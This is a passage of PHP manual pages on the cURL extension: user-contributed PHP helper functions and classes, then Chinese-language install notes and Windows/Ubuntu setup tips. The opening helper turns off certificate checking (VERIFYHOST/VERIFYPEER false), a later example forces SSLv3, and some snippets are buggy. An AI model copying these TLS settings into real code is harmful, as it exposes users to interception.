        CURLOPT_HTTPHEADER => ['Expect:'],
        CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4,
        CURLOPT_REFERER => $refer
    ];
    if (!empty($header)) {
        $options[CURLOPT_HTTPHEADER] = $header;
    }
    if ($refer) {
        $options[CURLOPT_REFERER] = $refer;
    }
    if ($ssl) {
        //support https
        $options[CURLOPT_SSL_VERIFYHOST] = false;
        $options[CURLOPT_SSL_VERIFYPEER] = false;
    }
    curl_setopt_array($curlObj, $options);
    $returnData = curl_exec($curlObj);
    if (curl_errno($curlObj)) {
        //error message
        $returnData = curl_error($curlObj);
    }
    curl_close($curlObj);
    return $returnData;
}

$getRes = getRequest("https://secure.php.net/");
echo $getRes;//Get index page html of php.net

$postRes = postRequest("https://secure.php.net/",[]);
echo $postRes;
yann at ykweyer dot fr 11-Jul-2016 08:37
If you need to send an array of files using CURL (typical case: POST variable to a REST API), having an array of CURLFiles in the POSTFIELD won't work. You have to set as many variables in your postfield than there are files to send:

<?php
// Won't work:
$postfields = array(
    'files' => array(
        new CURLFile($path1),
        new CURLFile($path2),
        //...
    )
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);

// Use this instead:
$postfields = array(
    'files[0]' => new CURLFile($path1),
    'files[1]' => new CURLFile($path2),
    //...
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
?>
gmail@asmqb7 29-Mar-2016 10:48
WARNING WARNING

In this example: http://php.net/manual/en/book.curl.php#102885 by "frank at interactinet dot com"

There's a small bug in

<?php

         ...

         elseif($status == $httpCode)
            {
                return TRUE;
            }

            return FALSE;
            pcntl_wait($status); //Protect against Zombie children
        } else {
            // we are the child
            while(microtime(true) < $expire)

         ...

?>

The code will immediately leave the function at the `return`, and pcntl_wait() will NEVER be executed, under any circumstances.

I can't see any other issues with this function however.
romet 20-Apr-2015 10:30
/*
Example values
url - 'http://example.com'
fields - array('var' => 'value'), or can be empty
auth - 'user:password', or can be empty
by romet, 4.20.2015
*/
function curl($url, $fields = array(), $auth = false){

    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_VERBOSE, 1);
    curl_setopt($curl, CURLOPT_HEADER, 1);

    if($auth){
        curl_setopt($curl, CURLOPT_USERPWD, "$auth");
        curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
    }

    if($fields){
        $fields_string = http_build_query($fields);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_BINARYTRANSFER, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $fields_string);
    }

    $response = curl_exec($curl);
    $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
    $header_string = substr($response, 0, $header_size);
    $body = substr($response, $header_size);

    $header_rows = explode(PHP_EOL, $header_string);
    $header_rows = array_filter($header_rows, trim);
    foreach((array)$header_rows as $hr){
        $colonpos = strpos($hr, ':');
        $key = $colonpos !== false ? substr($hr, 0, $colonpos) : (int)$i++;
        $headers[$key] = $colonpos !== false ? trim(substr($hr, $colonpos+1)) : $hr;
    }
    foreach((array)$headers as $key => $val){
        $vals = explode(';', $val);
        if(count($vals) >= 2){
            unset($headers[$key]);
            foreach($vals as $vk => $vv){
                $equalpos = strpos($vv, '=');
                $vkey = $equalpos !== false ? trim(substr($vv, 0, $equalpos)) : (int)$j++;
                $headers[$key][$vkey] = $equalpos !== false ? trim(substr($vv, $equalpos+1)) : $vv;
            }
        }
    }
    //print_rr($headers);
    curl_close($curl);
    return array($body, $headers);
}

list($d['body'], $d['headers']) = curl2('http://google.com', array(q => '123'));
//POST to google.com with POST var "q" as "123"

echo '<pre>';
print_r($d);

---------

OUTPUT:

Array
(
    [headers] => Array
        (
            [0] => HTTP/1.1 405 Method Not Allowed
            [Allow] => GET, HEAD
            [Date] => Mon, 20 Apr 2015 22:20:10 GMT
            [Server] => gws
            [Content-Length] => 1453
            [X-Frame-Options] => SAMEORIGIN
            [Alternate-Protocol] => 80:quic,p=1
            [Content-Type] => Array
                (
                    [0] => text/html
                    [charset] => UTF-8
                )

            [X-XSS-Protection] => Array
                (
                    [1] => 1
                    [mode] => block
                )

        )

    [body] => <!DOCTYPE html>...etc

)
qrworld.net 11-Nov-2014 04:41
Here you have a function that I use to get the content of a URL using cURL:

function getUrlContent($url){
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 $data = curl_exec($ch);
 $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 curl_close($ch);
 return ($httpcode>=200 && $httpcode<300) ? $data : false;
}

The source comes from this website:

http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url.html
fred dot knieper at gmail dot com 16-Dec-2013 04:07
After a lot of frustration with the fact that nobody has documented which curl commandline options go with which library functions, I discovered that the curl commandline will tell you (in the form of a C program) if you add `--libcurl foo.c`

If you've been struggling with trying to figure out how to get your fancy curl commandline to work in PHP, this makes it a breeze!
mkucera66 at seznam dot cz 26-Aug-2013 11:02
FYI cURL support (default enabled, ok) is prerequisite for Installation and Configuration of the Collection Extension of wiki portal.
arturo at midnightvip dot com 12-Jun-2013 10:56
Hey I modified script for php 5. Also I add support server auth. and fixed some little bugs on the script.

<?php
 class mycurl {
     protected $_useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1';
     protected $_url;
     protected $_followlocation;
     protected $_timeout;
     protected $_maxRedirects;
     protected $_cookieFileLocation = './cookie.txt';
     protected $_post;
     protected $_postFields;
     protected $_referer ="http://www.midnightvip.com";

     protected $_session;
     protected $_webpage;
     protected $_includeHeader;
     protected $_noBody;
     protected $_status;
     protected $_binaryTransfer;
     public    $authentication = 0;
     public    $auth_name      = '';
     public    $auth_pass      = '';

     public function useAuth($use){
       $this->authentication = 0;
       if($use == true) $this->authentication = 1;
     }

     public function setName($name){
       $this->auth_name = $name;
     }
     public function setPass($pass){
       $this->auth_pass = $pass;
     }

     public function __construct($url,$followlocation = true,$timeOut = 30,$maxRedirecs = 4,$binaryTransfer = false,$includeHeader = false,$noBody = false)
     {
         $this->_url = $url;
         $this->_followlocation = $followlocation;
         $this->_timeout = $timeOut;
         $this->_maxRedirects = $maxRedirecs;
         $this->_noBody = $noBody;
         $this->_includeHeader = $includeHeader;
         $this->_binaryTransfer = $binaryTransfer;

         $this->_cookieFileLocation = dirname(__FILE__).'/cookie.txt';

     }

     public function setReferer($referer){
       $this->_referer = $referer;
     }

     public function setCookiFileLocation($path)
     {
         $this->_cookieFileLocation = $path;
     }

     public function setPost ($postFields)
     {
        $this->_post = true;
        $this->_postFields = $postFields;
     }

     public function setUserAgent($userAgent)
     {
         $this->_useragent = $userAgent;
     }

     public function createCurl($url = 'nul')
     {
        if($url != 'nul'){
          $this->_url = $url;
        }

         $s = curl_init();

         curl_setopt($s,CURLOPT_URL,$this->_url);
         curl_setopt($s,CURLOPT_HTTPHEADER,array('Expect:'));
         curl_setopt($s,CURLOPT_TIMEOUT,$this->_timeout);
         curl_setopt($s,CURLOPT_MAXREDIRS,$this->_maxRedirects);
         curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
         curl_setopt($s,CURLOPT_FOLLOWLOCATION,$this->_followlocation);
         curl_setopt($s,CURLOPT_COOKIEJAR,$this->_cookieFileLocation);
         curl_setopt($s,CURLOPT_COOKIEFILE,$this->_cookieFileLocation);

         if($this->authentication == 1){
           curl_setopt($s, CURLOPT_USERPWD, $this->auth_name.':'.$this->auth_pass);
         }
         if($this->_post)
         {
             curl_setopt($s,CURLOPT_POST,true);
             curl_setopt($s,CURLOPT_POSTFIELDS,$this->_postFields);

         }

         if($this->_includeHeader)
         {
               curl_setopt($s,CURLOPT_HEADER,true);
         }

         if($this->_noBody)
         {
             curl_setopt($s,CURLOPT_NOBODY,true);
         }
         /*
         if($this->_binary)
         {
             curl_setopt($s,CURLOPT_BINARYTRANSFER,true);
         }
         */
         curl_setopt($s,CURLOPT_USERAGENT,$this->_useragent);
         curl_setopt($s,CURLOPT_REFERER,$this->_referer);

         $this->_webpage = curl_exec($s);
                   $this->_status = curl_getinfo($s,CURLINFO_HTTP_CODE);
         curl_close($s);

     }

   public function getHttpStatus()
   {
       return $this->_status;
   }

   public function __tostring(){
      return $this->_webpage;
   }
}
?>
madhouse-network at hotmail dot com 21-Apr-2011 01:51
curl does not seem to work with SSL TLS (FTPES)

It will throw the following error:

(1) Protocol ftpes not supported or disabled in libcurl
frank at interactinet dot com 11-Mar-2011 09:29
I wrote the following to see if a submitted URL has a valid http response code and also if it responds quickly.

Use the code like this:

<?php
$is_ok = http_response($url); // returns true only if http response code < 400
?>

The second argument is optional, and it allows you to check for  a specific response code

<?php
http_response($url,'400'); // returns true if http status is 400
?>

The third allows you to specify how long you are willing to wait for a response.

<?php
http_response($url,'200',3); // returns true if the response takes less than 3 seconds and the response code is 200
?>

<?php
function http_response($url, $status = null, $wait = 3)
{
        $time = microtime(true);
        $expire = $time + $wait;

        // we fork the process so we don't have to wait for a timeout
        $pid = pcntl_fork();
        if ($pid == -1) {
            die('could not fork');
        } else if ($pid) {
            // we are the parent
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_NOBODY, TRUE); // remove body
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            $head = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);

            if(!$head)
            {
                return FALSE;
            }

            if($status === null)
            {
                if($httpCode < 400)
                {
                    return TRUE;
                }
                else
                {
                    return FALSE;
                }
            }
            elseif($status == $httpCode)
            {
                return TRUE;
            }

            return FALSE;
            pcntl_wait($status); //Protect against Zombie children
        } else {
            // we are the child
            while(microtime(true) < $expire)
            {
            sleep(0.5);
            }
            return FALSE;
        }
    }
?>

Hope this example helps.  It is not 100% tested, so any feedback [sent directly to me by email] is appreciated.
shidec00 at yahoo dot com 19-Jan-2011 02:55
This anomali only happen on windows.
Server indicates that some variables built by http_build_query() is missing.

<?php
//...
//...
//...
$ping_url = $this->sx_url.'ping.php?'.http_build_query($options);
$message = $this->_post_curl($ping_url);
?>

After debugging i found that $ping_url contain url like :

http://example.com/ping.php?app=1&amp;key=mail&amp;ttd=df52861e

But myserver give "No ttd GET variable" response

This problem fixed by adding optional parameter to make sure that http_build_query() use only '&' as arg separator rather than '&amp;'

<?php
//...
//...
//...
$ping_url = $this->sx_url.'ping.php?'.http_build_query($options,'','&');
$message = $this->_post_curl($ping_url);
?>
ramez at dot dontspan dot zegenie dot com 27-Oct-2010 09:19
CURL failed with PHP5.3 and Apache2.2.X on my Windows 7 machine.

It turns out that it's not enough to copy the two dll's mentioned (libeay32 and sslea32) from the php folder into your system32 folder. You HAVE TO UNBLOCK THESE TWO FILES.

Right click the file, select unblock, for each one. Then restart Apache.

Another very handy security feature added into Windows.
artax_N_O_S_P_A_M_erxes2 at iname dot com 17-Sep-2010 08:59
I needed to use cURL in a php script to download data using not only SSL for the server authentication but also for client authentication.
On a default install of Fedora, setting up the proper cURL parameters, I would get an error:

$ php curl.php
 Peer certificate cannot be authenticated with known CA certificates

The data on http://curl.haxx.se/docs/sslcerts.html was most useful. Indeed, toward to bottom it tells you to add a missing link inside /etc/pki/nssdb to use the ca-bundle.crt file. You do it so:

# cd /etc/pki/nssdb
# ln -s /usr/lib64/libnssckbi.so libnssckbi.so

Now you can do client authentication, provided you have your certificate handy with:

<?php
$data = "<soap:Envelope>[...]</soap:Envelope>";
$tuCurl = curl_init();
curl_setopt($tuCurl, CURLOPT_URL, "https://example.com/path/for/soap/url/");
curl_setopt($tuCurl, CURLOPT_PORT , 443);
curl_setopt($tuCurl, CURLOPT_VERBOSE, 0);
curl_setopt($tuCurl, CURLOPT_HEADER, 0);
curl_setopt($tuCurl, CURLOPT_SSLVERSION, 3);
curl_setopt($tuCurl, CURLOPT_SSLCERT, getcwd() . "/client.pem");
curl_setopt($tuCurl, CURLOPT_SSLKEY, getcwd() . "/keyout.pem");
curl_setopt($tuCurl, CURLOPT_CAINFO, getcwd() . "/ca.pem");
curl_setopt($tuCurl, CURLOPT_POST, 1);
curl_setopt($tuCurl, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($tuCurl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($tuCurl, CURLOPT_POSTFIELDS, $data);
curl_setopt($tuCurl, CURLOPT_HTTPHEADER, array("Content-Type: text/xml","SOAPAction: \"/soap/action/query\"", "Content-length: ".strlen($data)));

$tuData = curl_exec($tuCurl);
if(!curl_errno($tuCurl)){
  $info = curl_getinfo($tuCurl);
  echo 'Took ' . $info['total_time'] . ' seconds to send a request to ' . $info['url'];
} else {
  echo 'Curl error: ' . curl_error($tuCurl);
}

curl_close($tuCurl);
echo $tuData;
?>
cliffclof atty gmail dotty com 05-Apr-2010 02:21
A solution that addresses repeat calls to the same set of urls using the same connection simulating frequent ajax calls in separate browser tabs.

In a unique situation you may need to set a cookie then use that cookie for multiple separate persistent connections using the same session cookie.  The problem is the session cookie may change while your doing your persistent calls.  If you set every curl handle to update a shared cookiejar on close you may overwrite the new found session value with the old session value depending on the closing order of your handles. Also, because the cookiejar is only written to on a curl_close, you may be using dissimilar or old session info in some of your 'faked browser tabs'.

To solve this problem I created a unique handle that opens and closes specifically to set a cookie file using CURLOPT_COOKIEJAR. Then I just use the read-only CURLOPT_COOKIEFILE on the multiple separate persistent handles.

This solves the problem of shared cookies fighting to write their values and keep persistent calls using the most up to date cookie information.

Note: In my case the multiple calls were in a while loop and I was using php in shell.  The session cookie value plus browser type limited the number of connections available and i wanted to use the max connections per session.
artem at zabsoft dot co dot in 11-May-2009 11:43
Hey I modified script for php 5. Also I add support server auth. and fixed some little bugs on the script.

[EDIT BY danbrown AT php DOT net: Original was written by (unlcuky13 AT gmail DOT com) on 19-APR-09.  The following note was included:
Below is the my way of using through PHP 5 objecte oriented encapsulation to make thing easier.]

<?php
 class mycurl {
     protected $_useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1';
     protected $_url;
     protected $_followlocation;
     protected $_timeout;
     protected $_maxRedirects;
     protected $_cookieFileLocation = './cookie.txt';
     protected $_post;
     protected $_postFields;
     protected $_referer ="http://www.google.com";

     protected $_session;
     protected $_webpage;
     protected $_includeHeader;
     protected $_noBody;
     protected $_status;
     protected $_binaryTransfer;
     public    $authentication = 0;
     public    $auth_name      = '';
     public    $auth_pass      = '';

     public function useAuth($use){
       $this->authentication = 0;
       if($use == true) $this->authentication = 1;
     }

     public function setName($name){
       $this->auth_name = $name;
     }
     public function setPass($pass){
       $this->auth_pass = $pass;
     }

     public function __construct($url,$followlocation = true,$timeOut = 30,$maxRedirecs = 4,$binaryTransfer = false,$includeHeader = false,$noBody = false)
     {
         $this->_url = $url;
         $this->_followlocation = $followlocation;
         $this->_timeout = $timeOut;
         $this->_maxRedirects = $maxRedirecs;
         $this->_noBody = $noBody;
         $this->_includeHeader = $includeHeader;
         $this->_binaryTransfer = $binaryTransfer;

         $this->_cookieFileLocation = dirname(__FILE__).'/cookie.txt';

     }

     public function setReferer($referer){
       $this->_referer = $referer;
     }

     public function setCookiFileLocation($path)
     {
         $this->_cookieFileLocation = $path;
     }

     public function setPost ($postFields)
     {
        $this->_post = true;
        $this->_postFields = $postFields;
     }

     public function setUserAgent($userAgent)
     {
         $this->_useragent = $userAgent;
     }

     public function createCurl($url = 'nul')
     {
        if($url != 'nul'){
          $this->_url = $url;
        }

         $s = curl_init();

         curl_setopt($s,CURLOPT_URL,$this->_url);
         curl_setopt($s,CURLOPT_HTTPHEADER,array('Expect:'));
         curl_setopt($s,CURLOPT_TIMEOUT,$this->_timeout);
         curl_setopt($s,CURLOPT_MAXREDIRS,$this->_maxRedirects);
         curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
         curl_setopt($s,CURLOPT_FOLLOWLOCATION,$this->_followlocation);
         curl_setopt($s,CURLOPT_COOKIEJAR,$this->_cookieFileLocation);
         curl_setopt($s,CURLOPT_COOKIEFILE,$this->_cookieFileLocation);

         if($this->authentication == 1){
           curl_setopt($s, CURLOPT_USERPWD, $this->auth_name.':'.$this->auth_pass);
         }
         if($this->_post)
         {
             curl_setopt($s,CURLOPT_POST,true);
             curl_setopt($s,CURLOPT_POSTFIELDS,$this->_postFields);

         }

         if($this->_includeHeader)
         {
               curl_setopt($s,CURLOPT_HEADER,true);
         }

         if($this->_noBody)
         {
             curl_setopt($s,CURLOPT_NOBODY,true);
         }
         /*
         if($this->_binary)
         {
             curl_setopt($s,CURLOPT_BINARYTRANSFER,true);
         }
         */
         curl_setopt($s,CURLOPT_USERAGENT,$this->_useragent);
         curl_setopt($s,CURLOPT_REFERER,$this->_referer);

         $this->_webpage = curl_exec($s);
                   $this->_status = curl_getinfo($s,CURLINFO_HTTP_CODE);
         curl_close($s);

     }

   public function getHttpStatus()
   {
       return $this->_status;
   }

   public function __tostring(){
      return $this->_webpage;
   }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by "roetsch.beni at googlemail (dot) com" on 02-AUG-09, with the following note: "Fixes the bugfix: 417 bug at lighthttp server."]
admin at jeremyzaretski dot com 18-Mar-2009 08:14
I wanted to create a script that acted as a bridge between an external server and an internal server, wherein the internal server was not connected to the internet, but had information required by the users connecting to the external server. I hatched the idea to use curl to connect from the external server to the internal server (using request variables to send queries) and return everything (data and headers) returned by the file server.

After being driven mad by segmentation faults and crashes because the curl_exec didn't like me having the CURLOPT_HEADERFUNCTION's function directly dumping the header:

<?php
function Duplicate_Header($curl, $header)
{
    header($header);
    return strlen($header);
}
?>

... I tried (on a whim) duplicating and trimming the header and passing the duplicate to the header function...

<?php
function Duplicate_Header($curl, $header)
{
    $duplicate = trim($header);
    header($duplicate);
    return strlen($header);
}
?>

Which worked just fine. I don't know if this is just some quirk of PHP4 or my lack of understanding of how the curl and header function works.
pyromus at gmail dot com 16-Oct-2008 04:37
You can use this class for fast entry

<?php
class cURL {
var $headers;
var $user_agent;
var $compression;
var $cookie_file;
var $proxy;
function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;CHARSET=gb2312';
$this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if ($this->cookies == TRUE) $this->cookie($cookie);
}
function cookie($cookie_file) {
if (file_exists($cookie_file)) {
$this->cookie_file=$cookie_file;
} else {
fopen($cookie_file,'w') or $this->error('The cookie file could not be opened. Make sure this directory has the correct permissions');
$this->cookie_file=$cookie_file;
fclose($this->cookie_file);
}
}
function get($url) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process,CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function post($url,$data) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 1);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($process, CURLOPT_POST, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
$cc = new cURL();
$cc->get('http://www.example.com');
$cc->post('http://www.example.com','foo=bar');
?>

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by "Anonymous" on 01-Dec-2008 @ 06:52.  Also replaced real URL with example.com as per RFC 2606.]

[EDIT BY danbrown AT php DOT net: Includes a bugfix provided by (manuel AT rankone DOT ch) on 24-NOV-09 to properly reference cURL initialization.]
eflash at gmx dot net 05-Oct-2008 09:45
In order to use curl with secure sites you will need a ca-bundle.crt file; here's a PHP script I've written which creates a fresh ca-bundle:
http://www.gknw.net/php/phpscripts/mk-ca-bundle.php
I've also written scripts in other languages, f.e. the Perl one which ships now with curl distributions:
http://curl.haxx.se/lxr/source/lib/mk-ca-bundle.pl
and also a Win32 WSH script if you prefer that:
http://www.gknw.net/vb/scripts/mk-ca-bundle.vbs

HTH, Guenter.


简介

PHP 支持 Daniel Stenberg 创建的 libcurl 库，能够连接通讯各种服务器、使用各种协议。libcurl 目前支持的协议有 http、https、ftp、gopher、telnet、dict、file、ldap。 libcurl 同时支持 HTTPS 证书、HTTP POST、HTTP PUT、 FTP 上传(也能通过 PHP 的 FTP 扩展完成)、HTTP 基于表单的上传、代理、cookies、用户名+密码的认证。

User Contributed Notes

There are no user contributed notes for this page.


需求

需要安装» libcurl包才能使用 PHP 的 cURL 函数。PHP 需要使用 7.10.5 或更高版本的 libcurl。 从 PHP 7.3.0 起，需要 7.15.5 或更高版本。 从 PHP 8.0.0 起，需要 7.29.0 或更高版本。

User Contributed Notes

There are no user contributed notes for this page.


安装

要 PHP 支持 cURL，必须在编译 PHP 时加上 --with-curl[=DIR] 选项，DIR 为包含 lib 和 include 的目录路径。在 include 目录中必须有一个名为 curl，包含了 easy.h 和 curl.h 的文件夹。lib 文件夹里应该有一个名为 libcurl.a 的文件。

Note: Win32 用户注意
要在 Windows 环境下使用这个模块，libeay32.dll 和 ssleay32.dll 库文件必须放到 PATH 环境变量包含的目录下。OpenSSL 1.1 下则为 libcrypto-*.dll 和 libssl-*.dll 文件。同样的，libssh2.dll 文件也需要放到 PATH 环境变量包含的目录下。 不需要用 cURL 网站上的 libcurl.dll 库。

User Contributed Notes

NV 15-Apr-2022 12:28
If trying to get installed on Windows (I was using Windows 10, Apache 2.4, PHP 8.1) and the curl module isn't loading and PHP is showing/logging the following error but <phpPath>\ext\php_curl.dll does exist:

[14-Apr-2022 23:41:36 UTC] PHP Warning:  PHP Startup: Unable to load dynamic library 'curl' (tried: <phpPath>\ext\curl (The specified module could not be found), <phpPath>\ext\php_curl.dll (The specified module could not be found)) in Unknown on line 0

The problem is not that it can't find the module but that it can't find its dependencies (ie <phpPath>\libcrypto-1.1.dll and libssl-1.1.dll or similar).  As described in other comments,  you need to add <phpPath> to the Systerm Variables, PATH variable.

But, if you are starting Apache as a service, the default is for the service to run under the Local System account. In that case, ****YOU NEED TO REBOOT**** for the change in the PATH variable to be updated for the Local System account (see the following for reference:
https://stackoverflow.com/questions/32068893/how-to-change-path-value-for-local-system-account-in-ms-windows)
sharif dot golang at gmail dot com 04-Feb-2021 02:11
I tried with that and it's properly works.
dave at omgomg dot co dot uk 21-Aug-2020 07:56
To get curl working on win64 with apache 2.4 and php 7.4 i had to add to the path
C:\Apache24\bin\
C:\php\
Windows+ 10-Apr-2020 09:33
if you cant solve this "Fatal error: Uncaught Error: Call to undefined function curl_init()" on WINDOWS

Try add to this strings to apache config (httpd.conf):

LoadFile "C:\Program Files\Apache\php\libssh2.dll"
LoadFile "C:\Program Files\Apache\php\libcrypto-1_1-x64.dll"
LoadFile "C:\Program Files\Apache\php\libssl-1_1-x64.dll"

and restart apache (dont forget to use your php folder name);

Moving this files to apache or windows folder, dont work for me:

libeay32.dll (libcrypto-*.dll)
libssh2.dll
ssleay32.dll (libssl-*.dll)
Greg 27-Dec-2019 06:30
For those who may be having WordPress issues relating to curl, the answer for me was that the curl.cainfo wasn't specified in the config.  This resulted in a plugin giving some non-graceful errors for which I was finally able to track it down.

curl.cainfo = "C:\php\extras\ssl\cacert.pem"

You'll need a copy of the cacert.pem (doesn't come with PHP and does need to be updated every so often can be found at an official permalink of:
https://curl.haxx.se/ca/cacert.pem

They use a modified version of Mozilla's certificate store meant to work with libcurl.

I'm not an expert, this is just what fixed the errors for me.

(cacert.pem lists official root certificate providers so your computer knows which ones its safe to authenticate against is my lay interpretation.  I'm sure it's not technically accurate but close enough for us lay people.)
Tovster 23-Jun-2019 10:06
I had curl not working in Windows with Apache 2.4 and PHP 7.3 - Strangly phpinfo showed author but not curl section/panel.

I changed the widows path to include the PHP directory and after a reboot it started working.

You can change the windows path in Control Panel -> System -> Advanced System Settings -> Advanced -> Environment Variables  then edit the path variable in "System Variables"
1004707812 at qq dot com 08-Feb-2018 06:32
Win10 64bit, php7 x64,apache x64
It's important to set " extension_dir = "X:/WAMP/php/ext" " clearly in php.ini .
Remember some names of dll has changed recently, specially in the  x64 environment.
anonymous 26-Jan-2018 10:38
Upgrading to php 7.1.6 on Apache 2.4 32bit version Windows 7 x64

this curl  implementation works:

1.   C:/(path to php folder)/php.ini
enable extension=php_curl.dll

libeay32.dll, ssleay32.dll, libssh2.dll find directly in php7 folder

2. add this to Apache/conf/httpd.conf
# load curl and open ssl libraries
LoadFile "C:/(path to php folder)/libeay32.dll"
LoadFile "C:/(path to php folder)/ssleay32.dll"
LoadFile "C:/(path to php folder)/libssh2.dll"
epos_jk 27-Nov-2017 04:22
You dont need to copy files to use PHP CURL with Apache 2.4 - use the LoadFile directive in your apache config file instead:
LoadFile "C:/php7/libssh2.dll"
(that was all it took for me to get it work)
epos_jk 27-Nov-2017 04:21
Beginning with version 1.1.0 OpenSSL did change their libary names!
libeay32.dll is now libcrypto-*.dll (e.g. libcrypto-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
ssleay32.dll is now libssl-*.dll (e.g. libssl-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
karliskavacis at gmail dot com 22-Feb-2016 08:07
In my case, while running Windows 10 and Apache Httpd 2.4, I had to add my PHP7 root directory to Windows PATH and it resolved issues with failing to load couple of PHP extensions.
lymer at ca dot ibm dot com 29-Jul-2015 07:09
For Windows 7 (64 bit), ensure you not only enable the curl extension (i.e. uncomment "extension=php_curl.dll" in php.ini) as described in this manual, but also set the extension directory for Windows (e.g. extension_dir = "ext") in the php.ini file.  Adding / copying dll files or changing the system path were not necessary.  (Versions used: Apache 2.4.1 (Win64) and PHP 5.5.15.)
Developtus.com 29-May-2015 03:38
Upgrading to php 5.6.9 on Windows 7 x64 curl no longer is recognised. No errors on server start package just not available and didn't show in phpinfo.php. deplister.exe was ok
I fixed coping the following list files from php folder (in my case D:\xampp\php)
libeay32.dll
libssh2.dll
ssleay32.dll
to c:\xampp\apache\bin (or your apache\bin path), restart apache and works fine, apache's libraries were outdated
jorijnsmit at gmail dot com 22-Mar-2014 06:44
It is not necessary to always (re)compile PHP. For me it was sufficient to install php5-curl and restart Apache:

$ sudo apt-get install php5-curl
$ sudo /etc/init.d/apache2 restart
TristanV 13-Dec-2013 11:41
If you are running on Windows with a Wampserver or alike preconfigured PHP, if you did everything that was advised (path is correct, dlls are in the System32 or the Wow64 folder, php_curl extension uncommented in the php.ini, rebooted your machine and restarted your services), and you still receive messages saying that curl is not installed :
- maybe you are running a command line script (and not a curl instruction within a web application). If yes, remember that there are 2 distinct php.ini configuration files : one for the php-cli commands (run php at command line) and one for the php instructions (run from a page in your www folder).
Wampserver's menuitem "php.ini" only opens the webserver's php.ini, not the php-cli one.
So it will be great to check your php-cli's php.ini configuration file ! (you'll find it in the php.exe's installation folder)
You need to uncomment the extension php_curl in this php.ini file for the command lines to work with curl.
Also uncomment the php_openssl extention by the way (often used with curl).
I hope this fixed issue will help someone else :)
jmichieli76 at yahoo dot ca 18-Jun-2012 02:03
It should be noted that on a standard installation of php 5.2.17 on windows has this functionality installed and enabled by default.
Joseph Marlin 13-Jun-2011 10:57
Ubuntu 11.04

I already had Apache and PHP5 setup, but simply adding php5-curl and curl did *not* work. I also had to get libcurl3 and libcurl3-dev. The full command:

sudo apt-get install curl libcurl3 libcurl3-dev php5-curl

You'll know if it works because phpinfo() will get a new section with Curl info.
wixelbomb at yahoo dot com 28-Dec-2009 11:17
Just an additional note for Windows XP installations ...

